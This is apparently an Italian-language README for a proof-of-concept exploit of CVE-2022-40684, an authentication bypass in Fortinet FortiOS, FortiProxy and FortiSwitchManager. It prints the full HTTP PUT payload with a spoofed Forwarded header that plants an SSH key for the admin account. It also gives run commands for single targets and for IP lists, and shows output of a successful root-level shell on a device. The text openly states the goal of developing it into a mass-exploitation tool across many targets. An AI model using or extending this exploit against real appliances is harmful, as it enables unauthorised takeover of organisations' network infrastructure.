
Per ora è una copia POC per CVE-2022-40684 che colpisce gli appliance Fortinet FortiOS, FortiProxy e FortiSwitchManager.
Copiato da https://github.com/horizon3ai/CVE-2022-40684
L'exploit utilizza il semplice payload:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: {{Hostname}}
User-Agent: Report Runner
Content-Type: application/json
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Content-Length: 610
{
"ssh-public-key1": "fake-key"
}
Questo POC sfrutta la vulnerabilità di bypass dell'autenticazione per impostare una chiave SSH per l'utente specificato.
Svilupparlo in un exploit su vasta scala con più target e più server per uno sfruttamento di massa.
1. chmod +x cve-2022-40684.sh
2. ./cve-2022-40684 <TARGET_IP>
or
2. ./cve-2022-40684 <FILE_NAME>
Esempio:
./cve-2022-40684.sh ips.txt
python3 CVE-2022-40684.py -t <TARGET_IP> --username admin --key-file ~/.ssh/id_rsa.pub
L'esempio:
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.